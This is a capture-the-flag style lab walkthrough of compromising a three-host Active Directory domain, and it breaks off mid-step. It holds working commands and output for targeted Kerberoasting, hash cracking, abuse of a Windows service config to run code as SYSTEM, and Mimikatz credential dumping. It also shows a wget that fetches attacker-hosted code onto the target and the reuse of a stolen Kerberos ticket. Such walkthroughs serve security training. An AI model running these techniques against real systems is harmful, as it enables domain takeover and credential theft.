Overview

The machine starts by abusing genericwrite for targeted kerberoasting that cracks lion credentials for winrm access on ws01, extracting an access database to recover kanon credentials and abusing a misconfigured wuauserv service to get local administrator to dump lsa secrets for erika access on forensics01. It then recovers a stolen kerberos ticket from disk to get shell as domain administrator.

Lab Information

For this lab there are 3 machines:

  1. DC01
  2. FORENSICS01
  3. WS01

And we're given starting credentials:

This is an assumed breach scenario. Use the credentials below: User: shannon Password: GoldSeagull123

Enumeration

Start with an Nmap scan for WS01:

WS01 is a domain-joined machine with the FQDN WS01.LAINOSCP.local and it exposes these services:

  • SMB
  • RDP
  • WinRM

We'll start enumerating services one by one. Testing the credentials for the user came back valid (so it is a domain user valid for all 3 machines assuming that forensics is a domain-joined machine). WS01 doesn't have any non-standard shares, but signing is disabled which might come in handy later.

bash
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/Forensics]
└──╼ [★]$ nxc smb WS01.LAINOSCP.local -u shannon -p 'GoldSeagull123' --shares
SMB 10.1.178.130 445 WS01 [*] Windows Server 2022 Build 20348 x64 (name:WS01) (domain:LAINOSCP.local) (signing:False) (SMBv1:False)
SMB 10.1.178.130 445 WS01 [+] LAINOSCP.local\shannon:GoldSeagull123
SMB 10.1.178.130 445 WS01 [*] Enumerated shares
SMB 10.1.178.130 445 WS01 Share Permissions Remark
SMB 10.1.178.130 445 WS01 ----- ----------- ------
SMB 10.1.178.130 445 WS01 ADMIN$ Remote Admin
SMB 10.1.178.130 445 WS01 C$ Default share
SMB 10.1.178.130 445 WS01 IPC$ READ Remote IPC

Testing WinRM access for shannon on WS01 showed that the user doesn't have access.

bash
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/Forensics]
└──╼ [★]$ nxc winrm WS01.LAINOSCP.local -u shannon -p 'GoldSeagull123'
WINRM 10.1.178.130 5985 WS01 [*] Windows Server 2022 Build 20348 (name:WS01) (domain:LAINOSCP.local)
WINRM 10.1.178.130 5985 WS01 [-] LAINOSCP.local\shannon:GoldSeagull123

RDP shows valid credentials but this doesn't mean you have real RDP access.

NXC RDP checks does CredSSP/NLA handshake so it just verifies that the credentials are valid enough to pass the pre-session authentication step but there are other checks that are done after the pre-session authentication that'll stop you from getting actual session like windows checking the group membership after the NLA succeeds and there are much more steps before letting you in.

bash
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/Forensics]
└──╼ [★]$ nxc rdp WS01.LAINOSCP.local -u shannon -p 'GoldSeagull123'
RDP 10.1.178.130 3389 WS01 [*] Windows 10 or Windows Server 2016 Build 20348 (name:WS01) (domain:LAINOSCP.local) (nla:True)
RDP 10.1.178.130 3389 WS01 [+] LAINOSCP.local\shannon:GoldSeagull123

Moving on to FORENSICS01 to Nmap scan it:

This host showed exactly the same as WS01:

  • SMB
  • RDP
  • WinRM

No shares just like WS01:

bash
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/Forensics]
└──╼ [★]$ nxc smb FORENSICS01.LAINOSCP.local -u shannon -p 'GoldSeagull123' --shares
SMB 10.1.121.154 445 FORENSICS01 [*] Windows Server 2022 Build 20348 x64 (name:FORENSICS01) (domain:LAINOSCP.local) (signing:False) (SMBv1:
False)
SMB 10.1.121.154 445 FORENSICS01 [+] LAINOSCP.local\shannon:GoldSeagull123
SMB 10.1.121.154 445 FORENSICS01 [*] Enumerated shares
SMB 10.1.121.154 445 FORENSICS01 Share Permissions Remark
SMB 10.1.121.154 445 FORENSICS01 ----- ----------- ------
SMB 10.1.121.154 445 FORENSICS01 ADMIN$ Remote Admin
SMB 10.1.121.154 445 FORENSICS01 C$ Default share
SMB 10.1.121.154 445 FORENSICS01 IPC$ READ Remote IPC

No WinRM access:

bash
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/Forensics]
└──╼ [★]$ nxc winrm FORENSICS01.LAINOSCP.local -u shannon -p 'GoldSeagull123'
WINRM 10.1.121.154 5985 FORENSICS01 [*] Windows Server 2022 Build 20348 (name:FORENSICS01) (domain:LAINOSCP.local)
WINRM 10.1.121.154 5985 FORENSICS01 [-] LAINOSCP.local\shannon:GoldSeagull123

Moving on to DC01:

This one is the actual DC where it has a lot of services open like SMB, LDAP, Kerberos, WinRM, RDP and so on.

The domain name is LAINOSCP.local and the FQDN is DC01.LAINOSCP.local.

There isn't any non-standard share either, we might come back for the SYSVOL later if we hit a dead end.

bash
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/Forensics]
└──╼ [★]$ nxc smb DC01.LAINOSCP.local -u shannon -p 'GoldSeagull123' --shares
SMB 10.1.106.76 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:LAINOSCP.local) (signing:True) (SMBv1:False) (
Null Auth:True) (DC:True)
SMB 10.1.106.76 445 DC01 [+] LAINOSCP.local\shannon:GoldSeagull123
SMB 10.1.106.76 445 DC01 [*] Enumerated shares
SMB 10.1.106.76 445 DC01 Share Permissions Remark
SMB 10.1.106.76 445 DC01 ----- ----------- ------
SMB 10.1.106.76 445 DC01 ADMIN$ Remote Admin
SMB 10.1.106.76 445 DC01 C$ Default share
SMB 10.1.106.76 445 DC01 IPC$ READ Remote IPC
SMB 10.1.106.76 445 DC01 NETLOGON READ Logon server share
SMB 10.1.106.76 445 DC01 SYSVOL READ Logon server share

Shannon also doesn't have WinRM access over DC01.

So here is what we have so far:

  • Shannon is a valid user that can authenticate to the domain but doesn't have any remote service permission on either WS01, FORENSICS01, or DC01.
  • WS01 and FORENSICS01 expose only SMB, RDP, and WinRM.

So I will add the hosts file entries for all three machines and start doing domain-level checks:

  • For the hosts file, WS01 and FORENSICS01 will have only the FQDN mapped to their IP.
  • The DC will have both the domain name and FQDN.

Domain Enumeration

I will start enumerating BloodHound data using the shannon credentials.

Doing the same using bloodhound-ce-python to make sure we don't miss anything:

bash
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/Forensics]
└──╼ [★]$ bloodhound-ce-python -dc DC01.LAINOSCP.local -ns 10.1.106.76 -d LAINOSCP.local -u shannon -p GoldSeagull123 -c All --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: lainoscp.local
INFO: Getting TGT for user
INFO: Connecting to LDAP server: DC01.LAINOSCP.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 3 computers
INFO: Connecting to LDAP server: DC01.LAINOSCP.local
INFO: Found 8 users
INFO: Found 52 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: FORENSICS01.LAINOSCP.local
INFO: Querying computer: WS01.LAINOSCP.local
INFO: Querying computer: DC01.LAINOSCP.local
INFO: Done in 00M 32S
INFO: Compressing output into 20260911025818_bloodhound.zip

Access as Lion

Looking for Shannon's permissions we see that she has GenericWrite over the user lion, meaning that there is a possible way to get hold of this account's password.

GenericWrite gives write access to most attributes of a target object, which can be abused to add SPNs, add Key Credentials, or reset passwords and take over the account.

There are two ways to abuse GenericWrite:

  • Through a Shadow Credentials attack where we write our public key into the msDS-KeyCredentialLink attribute on that lion user and use our key pair to do passwordless authentication via PKINIT and get hold of that user's hash.
  • Targeted Kerberoasting which is the same as Kerberoasting where we abuse a service account to get hold of its krb5tgs hash and crack it offline (if the hash type is 23 HMAC-RC4 it'll be so much faster) but the difference is we don't have a service account so we use our GenericWrite over that user to write a fake SPN over it, then Kerberoast it and clean up afterwards.

Kerberoasting requests a service ticket (TGS) for an account with an SPN and cracks it offline to recover the password. Targeted Kerberoasting first writes a fake SPN to a user you can control, so you can Kerberoast an account that normally has no SPN.

PKINIT is certificate-based Kerberos authentication used by Shadow Credentials to get a TGT with a certificate instead of a password.

So we start by trying Shadow Credentials and we add the key attribute, but trying to use PKINIT afterwards to extract the hash returns KDC_ERR_PADATA_TYPE_NOSUPP, meaning that the DC doesn't support PKINIT and we can't extract the hash that way.

KDC_ERR_PADATA_TYPE_NOSUPP means the domain controller has no support for certificate-based PKINIT authentication, so Shadow Credentials cannot be used here.

bash
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/Forensics]
└──╼ [★]$ certipy shadow auto -dc-host DC01.LAINOSCP.local -dc-ip 10.1.106.76 -u shannon -p GoldSeagull123 -account lion -ldap-scheme ldap
Certipy v5.1.0 - by Oliver Lyak (ly4k)

[*] Targeting user 'lion'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'f97d0b5d7af14a74b0e0be67d3dad93f'
[*] Adding Key Credential with device ID 'f97d0b5d7af14a74b0e0be67d3dad93f' to the Key Credentials for 'lion'
[*] Successfully added Key Credential with device ID 'f97d0b5d7af14a74b0e0be67d3dad93f' to the Key Credentials for 'lion'
[*] Authenticating as 'lion' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'lion@lainoscp.local'
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
[-] Use -debug to print a stacktrace
[-] See the wiki for more information
[*] Restoring the old Key Credentials for 'lion'
[*] Successfully restored the old Key Credentials for 'lion'
[*] NT hash for 'lion': None

But we still have the other option, I will start by extracting the hash for that specific user:

bash
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/Forensics]
└──╼ [★]$ targetedKerberoast^Cy targetedKerberoast.py -v -d 'domain.local' -u 'controlledUser' -p 'ItsPassword'
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/Forensics]
└──╼ [★]$ targetedKerberoast.py -d 'LAINOSCP.local' -u 'shannon' -p 'GoldSeagull123' --request-user lion
[*] Starting kerberoast attacks
[*] Attacking user (lion)
[+] Printing hash for (lion)
$krb5tgs$23$*lion$LAINOSCP.LOCAL$LAINOSCP.local/lion*$eb53f1cb1a4016498ced8a28672b5082$bb01ae7d5746c9d8e8126e574d5c5abf657bfc98ae43ac295621eeba49d694ac5611fa4
5df6797c88cb9326eaca803e14a0ad9085342498f312df88326afca26407c33ebf5734df68d61bdaf4fe1e09a5ccb79096c347f20488a824e58b826a2bba6f9f4da99a4a31543c5c72fa550d2ca51c
46b105e17660423a723d99e930b3ebe82b6a5aaa2483acab3963901a79f821f2e889d2a3750f53e172c4705bceb865d05b28a8169d0abaf8b8f8530d1a7b1903bd099c4a358d7baa9a78878892663e
f83601258daf84b3cbe551ed4051cd3ad646d3969d1396424da1f119c8af07c9e8052a8f2f25dad4a8027b7474801702258c6ec09a3c935955ca71fe4d9439789a5f837ca901abe03ab25d40df8f2e
bd8d14befb22e02f1dd04d6720b16d9e881964a85846fa75ffdef78c5ed36e569518783a9056a6d294599f364a8ce42fcad047700708e0ffdbb0f6c661c45e647dc61f82464da7047eeb686e33fc0e
6332e446ab0b80f2ea8d94908c08e9a65002ae6a5856ba7c273156efee76d612f6246dbeb56d5418be3e0a1b90761df39021b2199e3be82584bea90f78d8fb5081346d73385357ca899b3a92d34fe9
34dd7363e18103371a4b81e3a481d4de406426d096c89b373c45682c7b8399f207a9c92de9fd2367352132d8b6039d03c998f679c8386677d5f2650c515ffe8808dddb903219153f2e3d6544888886
d22c8a120322693987b7ee6b60d585ab6b205c141ae74ec10701ef5eb2d89f17e78161fceaca79a081e30a8659f30f525ed4b7e58de49c875a46f4418c54639298fe2d58c24f425208e3b9824bbac5
37dba7d52d426ad2ceb8ab450671e4428a99bfd7f52efa1cfa882c1f101fc23ea62b49c320aa2999bac594d2e8e35a53fc291d40e9e107a362e924374fa6bb8e86de240ed051256cc2160b07c786bb
c321281179bd48348207626fa5eea1ba8367eb800cc51a52995cc7c22dce86d5063588524b6a53f3bb3c7d22998a7dcdd2d65253e35e5a10a1535cddaa4ef6a0d106881b1175fd4900e7ed72fc42ce
63a44217d40483d797e1d5e178cd7084d7af42400e45c80b9c5a261fc2ac7f274102a2588d7d2a0f08ae454de90e4d10933967dc329fbc3fd26e97d58b7567dd5865ea31f3cfddf2c70b981e05b61b
ac80cafbdd46a9c4442d9dac0c61d1ded856ad596ae861bdd4992671d0a1777ac67fc04b0bc5ebc1084b429919f8f0f9109d6e7f1405be6e2b1525ea1ade907c8d9719debb893f90a867b7d87f1ba2
0f087f32f3a6d205eecde7d43f0d1e74f812ad43c8916f35c126cef72d80a70cfcaaee5c656d0cc78278f1635bbbc04d49608146535df116426570e480b6d940a9a73b2a4d21411daa05ae4c32c407
132a924bdd66472166882692457a16d041a9ffe85f63117d696f6fdf71f1ad68808f4422d9890

Then crack it using Hashcat to get its password which turned out to be Blink182:

Hashcat mode 13100 cracks Kerberos 5 TGS-REP etype 23 (RC4-HMAC) tickets offline, which is fast because RC4 uses no strong salting or iteration.

WinRM as Lion

Testing those credentials for the services again, we have WinRM access over WS01 so let's connect.

bash
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/Forensics]
└──╼ [★]$ nxc winrm WS01.LAINOSCP.local -u lion -p 'Blink182'
WINRM 10.1.178.130 5985 WS01 [*] Windows Server 2022 Build 20348 (name:WS01) (domain:LAINOSCP.local)
WINRM 10.1.178.130 5985 WS01 [+] LAINOSCP.local\lion:Blink182 (Pwn3d!)

Looking in the user's Downloads folder we find this Microsoft Access database:

bash
*Evil-WinRM* PS C:\Users\lion\Downloads> ls


    Directory: C:\Users\lion\Downloads


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/25/2026 7:47 AM 352256 Database1.accdb


*Evil-WinRM* PS C:\Users\lion\Downloads>

I will download the file then extract the hash out of it using office2john.

office2john extracts the password hash from Office documents so it can be cracked offline with John the Ripper.

There is an issue I faced before upgrading my VM, if you're using old version of office2john you'll have an issue here so make sure to grab the latest version from github (If you're using Parrot HTB Spin you should be fine)

bash
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/Forensics]
└──╼ [★]$ office2john Database1.accdb | tee db.hash
Database1.accdb:$office$*2013*100000*256*16*482531c4c52f846e6ada1c83c2259793*f35c8501a72cb7582233cc62d33ee7b0*dfb59480ed690ae9a35a5f7709c1dfc00db17cb1838d8567
f1570a327df9178a

Then use John to crack the hash we extracted to find out that the password is battle:

bash
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/Forensics]
└──╼ [★]$ john db.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Office, 2007/2010/2013 [SHA1 256/256 AVX2 8x / SHA512 256/256 AVX2 4x AES])
Cost 1 (MS Office version) is 2013 for all loaded hashes
Cost 2 (iteration count) is 100000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
battle (Database1.accdb)
1g 0:00:00:34 DONE (2026-09-11 03:45) 0.02932g/s 80.70p/s 80.70c/s 80.70C/s onlyme..bhabes
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

There are multiple ways to open an Access database, the legit way is using Microsoft (pay up) but there are other options like using:

  • DBeaver hosted locally and import the Access file into it (too much work).
  • There is the KING that never fails me, the MDBPlus binary.

the only issue with it: the app is too old so the UI is very bad (don't know if there is themes for it online) and it is annoying to view tables with long fields within the app itself

First you'll open the app and open the database, then enter the password. Pasted image 20260912040452.png

There is a Users table in the database with 4 columns, one of which is Password. And here is the issue I am telling you about, long fields show this MEMO instead of the actual value, but there are some workarounds. Pasted image 20260912040638.png

You can right-click that memo and choose show memo field and it'll show youPasted image 20260912040900.png

Don't know if there is a way to apply this for all values instead of opening them one by one. The easiest way that I always use is to export it either as CSV or PDF then open it somewhere else (you can find those in the tool bar on the right). So we have this nowPasted image 20260912041031.png

Access as Kanon

Let's validate those usernames, we already have access to shannon and gap isn't a real domain user but we might need the password.

Trying the user kanon with his password turns out to be a valid user:

bash
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/Forensics]
└──╼ [★]$ nxc smb WS01.lAINOSCP.local -u kanon -p 'ServingHell000'
SMB 10.1.178.130 445 WS01 [*] Windows Server 2022 Build 20348 x64 (name:WS01) (domain:LAINOSCP.local) (signing:False) (SMBv1:False)
SMB 10.1.178.130 445 WS01 [+] LAINOSCP.local\kanon:ServingHell000

And it also has access to WinRM on WS01:

bash
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/Forensics]
└──╼ [★]$ nxc winrm WS01.lAINOSCP.local -u kanon -p 'ServingHell000'
WINRM 10.1.178.130 5985 WS01 [*] Windows Server 2022 Build 20348 (name:WS01) (domain:LAINOSCP.local)
WINRM 10.1.178.130 5985 WS01 [+] LAINOSCP.local\kanon:ServingHell000 (Pwn3d!)

Started doing some enumeration and then tried to use the service-checker script to find any service that we can write to its binary or its configuration, but we got the error This operation might require other privileges, so I got stuck here for a while trying some other stuff but nothing worked:

bash
*Evil-WinRM* PS C:\Windows\Tasks> .\service-checker.ps1
Starting Audit for Weak Service Binary Permissions...
Cannot open Service Control Manager on computer '.' . This operation might require other privileges.
At C:\Windows\Tasks\service-checker.ps1:17 char:20
+ $RunningServices = Get-Service | Where-Object {$_.Status -eq 'Running ...
+ ~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [Get-Service], InvalidOperationException
    + FullyQualifiedErrorId : System.InvalidOperationException,Microsoft.PowerShell.Commands.GetServiceCommand
Audit Complete.

Then I started playing around with the token we have for kanon, maybe our token is stripped of privileges and maybe it is because of the logon type 3 we have via WinRM, and because there is nothing else we can try at this point we have to go about it this way, troubleshooting this until we have something.

And just to give you a small version of what logon types are and what is going on here, let's put it this way:

  • Windows tracks how a token got created, logon type 3 (Network) vs logon type 2 (Interactive) are different, even for the same user.
  • So we might be logged in as kanon with logon type 3 and can't do actions that we can do with logon type 2.
  • Our kanon session came in over WinRM which is logon type 3 (Network) which causes the user to lose control of the system interface during network logon events since we don't access it directly, and most services like SMB, WinRM, shared resources, and IIS are treated like that when accessed from the network.
  • So this logon type 3 is a lesser token for local resources because it doesn't carry the Interactive-session identity.
  • If we can get the same login as logon type 2 we might get more access to SCM for a starter, and we might not honestly, but we have to try.

Logon type 2 is Interactive (local logon) while logon type 3 is Network logon. Network logons get a filtered token that often cannot access SCM or other local privileged resources.

One way to do that, we'll use RunasCs.exe which is a C# implementation of runas used for network sessions where we don't have prompts to enter the password (done interactively only), so the binary does that automatically for us, among some other options, one of which is logon type manipulation.

RunasCs lets you run commands as another user with explicit credentials and control the logon type, which is useful from WinRM shells with no interactive prompt.

So I will use it to get a shell with logon type 2, and you'll see that we got a session as kanon again.

Access as Administrator on WS01

So I ran the service checker again and it actually worked and got access to the SCM.

Now that I know we can access SCM, I will run PrivescCheck which is a privilege-escalation enumeration script for Windows. I'll move it to the target and run powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Audit -Report PrivescCheck_$($env:COMPUTERNAME) -Format TXT,HTML,CSV,XML" which will do all the checks and write an HTML report.

PrivescCheck audits common Windows privilege-escalation vectors like weak service DACLs, writable binaries, and misconfigurations.

Looking in that report we see that there is a high-severity privilege-escalation vector:

  • There is a service called wuauserv that we can write to its configuration.
  • wuauserv is a Windows service used to manage updates for Windows which usually runs as SYSTEM.
  • The thing is, it is running as Win32ShareProcess via the svchost.exe binary with the option -k netsvcs for the group.

Let's just show the config part then explain what's going on.

If you look into that service more you'll see that you can ChangeConfig and restart the service:

bash
RegistryPath : HKLM\SYSTEM\CurrentControlSet\Services\wuauserv
Status : Running
UserCanStart : True
UserCanStop : True
IdentityReference : LAINOSCP\kanon (S-1-5-21-2387301235-874641830-263055908-1105)
Permissions : ChangeConfig, Start, Stop

Let's explain the Win32SharedProcess. Usually when we find this type of misconfig, we directly change its ImagePath to some suspicious service binary executing a shell and restart it to get a shell in that service context, but this time there is a difference.

One of two Windows service process models (the other being Win32OwnProcess). A Win32ShareProcess service doesn't get its own process its code lives in a DLL, and it runs multiplexed inside a shared host process, svchost.exe -k <group> -p, alongside other services in the same group (netsvcs) wuauserv is one of these.

Taking another step back: ImagePath in the registry is what SCM actually executes when the service starts, it doesn't care what the "real" implementation was, it just launches whatever is in that string. So if you have SERVICE_CHANGE_CONFIG rights (weak DACL) on a shared-process service like wuauserv, you can overwrite ImagePath with your own command/binary. SCM will run it as whatever account the service runs as, in this case LocalSystem.

SCM with SERVICE_CHANGE_CONFIG rights lets you rewrite a service's binary path, so the next start runs your payload as SYSTEM.

So whatever you put in ImagePath gets launched via CreateProcess, but SCM also expects it to call StartServiceCtrlDispatcher within ~30 seconds to register a control handler. If it doesn't (any plain exe, cmd, etc.), SCM throws error 1053 ("did not respond in a timely fashion") or 1083 ("does not implement the service"), depending on exactly how the binary fails the handshake. That's a red herring, not proof of failure. The process still ran under LocalSystem before SCM killed it. Verify with actual side effects (net user, dropped files, a shell callback), not the sc start exit code.

Back to the DLL part again, if the service runs in a shared process, then when you start it how does it know exactly which DLL to run? Each service under HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName> that runs via svchost has a Parameters subkey with a ServiceDll value pointing at the actual DLL. For this wuauserv service it is this DLL (you can see it in the PrivescCheck results):

shell
HKLM\SYSTEM\CurrentControlSet\Services\wuauserv\Parameters\ServiceDll
= C:\Windows\system32\wuaueng.dll

So the process to start a service like this is:

  1. SCM sees that the wuauserv service needs to start, so it looks up the ImagePath to find it is svchost.exe -k netsvcs -p, so it launches or reuses an svchost.exe process tagged to that netsvcs group (logically grouped Windows services running inside the svchost.exe).
  2. svchost.exe itself on startup reads the registry to find which services belong to the group it was told to host, which is netsvcs in this case, so it enumerates the services in this group and for each one it looks up that service's Parameters\ServiceDLL value to know which DLL implements it.
  3. For each service, svchost loads its ServiceDLL, finds the exported ServiceMain entry point inside it, and builds a big SERVICE_TABLE_ENTRY[] array pairing each service name with its corresponding ServiceMain function pointer.
  4. svchost calls StartServiceCtrlDispatcher once with that whole table and then SCM dispatches control requests for each individual service to the right main inside the right DLL, all within one process.

when I say svchost enumerates the services belong to netsvcs on startup i mean it has a dedicated registery list that already maps group names to member services like this HKLM\SYSTEM\CurrentControlSet\Control\Svchost registry have multi string value REG_MULTI_SZ named after than group a value literally called netsvcs with service names belong to this group and it looks like this netsvcs = wuauserv, Schedule, Dnscache, EventLog, ... (dozens more)

With all that being said, how do we exploit it? There are multiple options, one we're sure will work and the others that might not (will leave that to beyond root).

What will work: we know that the binary we register will work 100%, even if it runs for 30 seconds then times out, it still ran as SYSTEM for those 30 seconds. Meaning we can't have a stable shell for example (because we'll lose it after 30 seconds), but we can still run a small command like creating an administrator account or a GPO or any of the persistence methods.

Other ways:

  • We can use our service binary but we'll have to reconfigure the service to be own.
  • We can register an actual valid DLL under the ServiceDLL and its Parameter key, but we don't have access to write that key (won't work 100%).
  • We can also try Sliver binaries to see if they actually implement the right handshake or not.

The fastest solution is this binary that will create the jimmex user:

Then compile it on the system:

bash
wget http://10.200.93.122/service.cs -O service.cs

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:C:\Users\kanon\service.exe service.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:C:\Users\kanon\service.exe service.cs
Microsoft (R) Visual C# Compiler version 4.8.4161.0

for C# 5
Copyright (C) Microsoft Corporation. All rights reserved.



This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240

PS C:\Users\kanon\Desktop>

Once we configure the service to run that binPath instead, it'll create the user as you can see:

And we're administrator as you can see:

bash
*Evil-WinRM* PS C:\Users\kanon\Documents> net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
jimmex
LAINOSCP\Domain Admins
The command completed successfully.

Act as SYSTEM on WS01

First we'll use RunasCs again to get a shell with logon type 2 for jimmex.

Trying to access the Administrator desktop gets access denied, which is most likely because of UAC which I forgot about:

bash
PS C:\Users\Administrator> ls
ls
ls : Access to the path 'C:\Users\Administrator' is denied.
At line:1 char:1
+ ls
+ ~~
    + CategoryInfo          : PermissionDenied: (C:\Users\Administrator:String) [Get-ChildItem], UnauthorizedAccessExc                                        
   eption
    + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand                                                    

I will send another shell bypassing the UAC:

RunasCs.exe Repo has thi: NetworkCleartext (8) logon type is the one with the widest permissions as it doesn't get filtered by UAC in local tokens and still allows authentications over the Network as it stores credentials in the authentication package. If you holds enough privileges, try to always specify this logon type through the flag --logon-type 8.

So we would have the best chance with logon type 8 when bypassing the UAC, but it worked this time with logon type 2.

Listing all privileges, we have all the privileges but some of them are disabled:

Using the EnableAllTokenPrivs.ps1 script we can get all privileges enabled:

EnableAllTokenPrivs enables all privileges held in the current access token, which is useful when powerful privileges like SeBackup or SeDebug are present but disabled.

Right now we can use SigmaPotato to get a shell as SYSTEM, but there is no need to, we just need to dump secrets and we can do that via Mimikatz:

Mimikatz token::elevate impersonates SYSTEM, and lsadump::secrets dumps LSA secrets including service account passwords stored on the machine.

bash
PS C:\Windows\Tasks> ./katz.exe "privilege::debug" "token::elevate" "exit"
./katz.exe "privilege::debug" "token::elevate" "exit"

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####' > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # token::elevate
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM

580     {0;000003e7} 1 D 19706          NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Primary
 -> Impersonated !
 * Process Token : {0;00049612} 0 D 1322413     WS01\jimmex     S-1-5-21-661140023-3529138409-3911664155-1000   (13g,24p)       Primary
 * Thread Token  : {0;000003e7} 1 D 1345923     NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Impersonation (Delegation)

mimikatz(commandline) # exit
Bye!

And the token elevate worked, now let's use it with lsadump and we got the secret for the user erika:DetectitiveOHYEAH17:

WinRM as Erika

The erika password is validated against the domain and we can use it:

bash
┌─[]─[10.200.93.122]─[jimmex@attacker]─[~/HSM/Forensics]
└──╼ [★]$ nxc smb DC01.LAINOSCP.local -u erika -p DetectitiveOHYEAH17
SMB 10.1.106.76 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:LAINOSCP.local) (signing:True) (SMBv1:False) (Null Auth:True
) (DC:True)
SMB 10.1.106.76 445 DC01 [+] LAINOSCP.local\erika:DetectitiveOHYEAH17

And testing it against FORENSICS01 for WinRM came back positive:

bash
┌─[]─[10.200.93.122]─[jimmex@attacker]─[~/HSM/Forensics]
└──╼ [★]$ nxc winrm FORENSICS01.LAINOSCP.local -u erika -p DetectitiveOHYEAH17
WINRM 10.1.121.154 5985 FORENSICS01 [*] Windows Server 2022 Build 20348 (name:FORENSICS01) (domain:LAINOSCP.local)
WINRM 10.1.121.154 5985 FORENSICS01 [+] LAINOSCP.local\erika:DetectitiveOHYEAH17 (Pwn3d!)

Administrator on FORENSICS01

Looking for privileges on FORENSICS01, we see that we have SeDebugPrivilege, meaning we can dump secrets:

SeDebugPrivilege lets you open other processes for debugging, which is commonly abused to dump LSASS memory and recover credentials.

bash
*Evil-WinRM* PS C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ============================== =======
SeDebugPrivilege Debug programs Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\> whoami
lainoscp\erika

Dumping logon passwords we get the Administrator hash:

sekurlsa::logonpasswords dumps passwords and hashes from LSASS for active logon sessions.

So we log in as Administrator on FORENSICS01:

bash
┌─[]─[10.200.93.122]─[jimmex@attacker]─[~/HSM/Forensics]
└──╼ [★]$ evil-winrm -i FORENSICS01.LAINOSCP.local -u administrator -H 2ae8155040c755e96cac716e0cd11d84
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> hostname
FORENSICS01
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
forensics01\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents>

Using tree /F on C:\Users\Administrator shows some weird folders and files in that iocs folder:

bash
*Evil-WinRM* PS C:\Users\Administrator\Documents\iocs> ls


    Directory: C:\Users\Administrator\Documents\iocs


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/11/2026 5:47 AM 1500 administrator.kirbi
-a---- 5/25/2026 1:59 PM 18953 beacon_x64.exe
-a---- 5/25/2026 12:00 PM 252 notes.txt


*Evil-WinRM* PS C:\Users\Administrator\Documents\iocs> cat notes.txt
-Attackers where able to deliver cobaltstrike beacons and achieve foothold
-They compromised a machine where domain admin was logged in and extracted it's ticket
-SOC team was able to detect the attack due to the attackers writting the ticket to disk
*Evil-WinRM* PS C:\Users\Administrator\Documents\iocs>

The note mentions that the forensics team found this kirbi file written to disk (kirbi is a binary Kerberos ticket format used by security tools like Mimikatz and Rubeus).

Access as Domain Admin

The good thing is we can convert it to CCACHE format where we can use it to log in.

Doing so using kirbi2ccache:

A kirbi file can be converted to ccache format for use on Linux with Kerberos tools to pass-the-ticket.

bash
┌─[]─[10.200.93.122]─[jimmex@attacker]─[~/HSM/Forensics]
